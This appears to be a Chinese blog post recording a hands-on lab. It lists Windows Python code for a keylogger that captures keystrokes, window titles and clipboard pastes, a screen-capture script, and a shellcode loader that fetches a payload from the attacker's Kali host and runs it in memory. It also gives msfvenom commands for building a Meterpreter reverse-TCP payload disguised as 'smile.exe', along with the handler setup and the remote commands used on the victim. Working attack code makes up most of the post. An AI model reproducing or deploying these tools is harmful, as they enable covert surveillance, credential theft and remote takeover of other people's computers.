有趣的键盘记录
首先安装两个包 pythoncom 和 pyHook
安装这两个包,一定要注意版本问题!!!折腾了好久
2.7 32位的Python可以用这个教程
https://blog.csdn.net/xiaoliu5396/article/details/46457585
当时装这个的时候有以下错误:Python version 2.7 required,which was not found in the registry。
解决办法:
https://blog.csdn.net/zklth/article/details/8117207
2.7 64位的Python借鉴的是这个教程
https://www.cnblogs.com/helloworldcc/p/9427452.html
我的做法:
1)把pip更新到最新
python -m pip install --upgrade pip (好像可以省略)
2)下载64位的pywin32 https://pypi.org/project/pywin32/#files
将它放入Python安装路径的Scripts文件夹下。
3)下载64位的pyHook https://www.lfd.uci.edu/~gohlke/pythonlibs/#pyhook
最好搜索win+f搜索一下,不然很难找。。。
将它放入Python安装路径的Scripts文件夹下。
4)安装pywin32和pyHook
到安装Python的Scripts文件夹下运行:
pip.exe install pywin32-224-cp27-cp27m-win_amd64.whl
pip.exe install pyHook-1.5.1-cp27-cp27m-win_amd64.whl
此时前提工作搞定:
———————————————————————————————————————
代码:
from ctypes import *
import pythoncom
import pyHook
import win32clipboard
user32 = windll.user32
kernel32 = windll.kernel32
psapi = windll.psapi
current_window = None
def get_current_process():
# get a handle to the foreground window
hwnd = user32.GetForegroundWindow()
# find the process ID
pid = c_ulong(0)
user32.GetWindowThreadProcessId(hwnd, byref(pid))
# store the current process ID
process_id = "%d" % pid.value
# grab the executable
executable = create_string_buffer("\x00" * 512)
h_process = kernel32.OpenProcess(0x400 | 0x10, False, pid)
psapi.GetModuleBaseNameA(h_process,None,byref(executable),512)
# now read it's title
window_title = create_string_buffer("\x00" * 512)
length = user32.GetWindowTextA(hwnd, byref(window_title),512)
# print out the header if we're in the right process
print
print "[ PID: %s - %s - %s ]" % (process_id, executable.value, window_title.value)
print
# close handles
kernel32.CloseHandle(hwnd)
kernel32.CloseHandle(h_process)
def KeyStroke(event):
global current_window
# check to see if target changed windows
if event.WindowName != current_window:
current_window = event.WindowName
get_current_process()
# if they pressed a standard key
if event.Ascii > 32 and event.Ascii < 127:
print chr(event.Ascii),
else:
# if [Ctrl-V], get the value on the clipboard
# added by Dan Frisch 2014
if event.Key == "V":
win32clipboard.OpenClipboard()
pasted_value = win32clipboard.GetClipboardData()
win32clipboard.CloseClipboard()
print "[PASTE] - %s" % (pasted_value),
else:
print "[%s]" % event.Key,
# pass execution to next hook registered
return True
# create and register a hook manager
kl = pyHook.HookManager()
kl.KeyDown = KeyStroke
# register the hook and execute forever
kl.HookKeyboard()
pythoncom.PumpMessages()
测试:
运行代码之后,另外打开一个cmd窗口,输入test,会看到所输入的字符会出现在第一个窗口。
试着浏览网站:
截取屏幕快照
代码:
import win32gui
import win32ui
import win32con
import win32api
# grab a handle to the main desktop window
hdesktop = win32gui.GetDesktopWindow()
# determine the size of all monitors in pixels
width = win32api.GetSystemMetrics(win32con.SM_CXVIRTUALSCREEN)
height = win32api.GetSystemMetrics(win32con.SM_CYVIRTUALSCREEN)
left = win32api.GetSystemMetrics(win32con.SM_XVIRTUALSCREEN)
top = win32api.GetSystemMetrics(win32con.SM_YVIRTUALSCREEN)
# create a device context
desktop_dc = win32gui.GetWindowDC(hdesktop)
img_dc = win32ui.CreateDCFromHandle(desktop_dc)
# create a memory based device context
mem_dc = img_dc.CreateCompatibleDC()
# create a bitmap object
screenshot = win32ui.CreateBitmap()
screenshot.CreateCompatibleBitmap(img_dc, width, height)
mem_dc.SelectObject(screenshot)
# copy the screen into our memory device context
mem_dc.BitBlt((0, 0), (width, height), img_dc, (left, top), win32con.SRCCOPY)
# save the bitmap to a file
screenshot.SaveBitmapFile(mem_dc, 'c:\\WINDOWS\\Temp\\screenshot.bmp')
# free our objects
mem_dc.DeleteDC()
win32gui.DeleteObject(screenshot.GetHandle())
结果:
截出来的图:
Python方式的shellcode执行
由于书上所有的kali linux系统太老了,Metasploit用不了,
查了很多资料,改了一些配置文件,重装Ruby版本都不行
然后换了个最新版kali linux 2019的 ,Metasploit可以运行了。
原本打算按照书上的方法做,就是在Windows上,运行Python代码,连接Kali机上已经上传至服务器的shellcode.bin代码,但是没有成功,如下错误:
import urllib2
import ctypes
import base64
# retrieve the shellcode from our web server
url = "http://Kali Linux主机的IP地址/shellcode.bin"
response = urllib2.urlopen(url)
# decode the shellcode from base64
shellcode = base64.b64decode(response.read())
# create a buffer in memory
shellcode_buffer = ctypes.create_string_buffer(shellcode, len(shellcode))
# create a function pointer to our shellcode
shellcode_func = ctypes.cast(shellcode_buffer, ctypes.CFUNCTYPE(ctypes.c_void_p))
# call our shellcode
shellcode_func()
查了一下,好像是Python代码反射成C代码的语句错误了,在64位机上,ctypes.cast(shellcode_buffer, ctypes.CFUNCTYPE(ctypes.c_void_p))这句对应的shellcode不是long型,导致ctypes.CFUNCTYPE(转换C语言类型)ctypes.c_void_p(void型)出错。
找了好多方法,都没解决,决定换个办法。
如果装的win32,或者xp系统,可以试试书上的方法。
书上省略了如何产生shellcode.raw的方法,这个比较简单,在终端输入:
msfvenom -p windows/meterpreter/reverse_tcp LHOST=Kali主机的ip LPORT=4444(随便一个没被占用的)-f raw -o shellcode.raw
此时就产生了一个shellcode.raw在当前文件夹下。 这个shellcode是做反射,运行这个shellcode可以连接到LHOST的LPORT。接着输入
base64 -i win_backdoor.raw > shellcode.bin
python -m SimpleHTTPServer
加密shellcode,然后利用SimpleHTTPServer模块将当前的工作目录作为web服务的根目录,简单来说临时搭了个服务器。
保留这个对话框,重新打开一个终端,进行meterpreter操作:
use exploit/multi/handler
set LHOST Kali机主机ip
set LPORT 4444
exploit
接着在Windows机上运行代码shell_exec.py,就可以连接到Kali主机。这里我因为代码一直改不好,Windows只能下载了原先准备的shellcode.bin代码,但无法运行,所以无法做meterpreter操作。
为了试下效果,换了一种方式,就是让被攻击的Windows主机直接运行.exe的payload。
首先,在Kali主机下生成这个.exe文件:
msfvenom -p windows/meterpreter/reverse_tcp LHOST=Kali的ip地址 LPORT=4444 -f exe -o smile.exe
再输入以下代码:
use multi/handler
set PAYLOAD windows/meterpreter/reverse_tcp
set LHOST Kali的ip
set LPORT 4444
exploit
然后将这个smile.exe拖到要被攻击的Windows里面运行(报病毒不管它)
之后就可以在Kali主机上看到已经连接上了Windows。
现在我们搞点事情:
在Kali机上,打开Windows的计算器
execute -f calc.exe
查看Windows机,已经自己打开计算器。
再改改文件
edit语句打开一个txt文件,文件里原先的内容如下:
修改为
保存后查看Windows的txt,发现内容也改变了。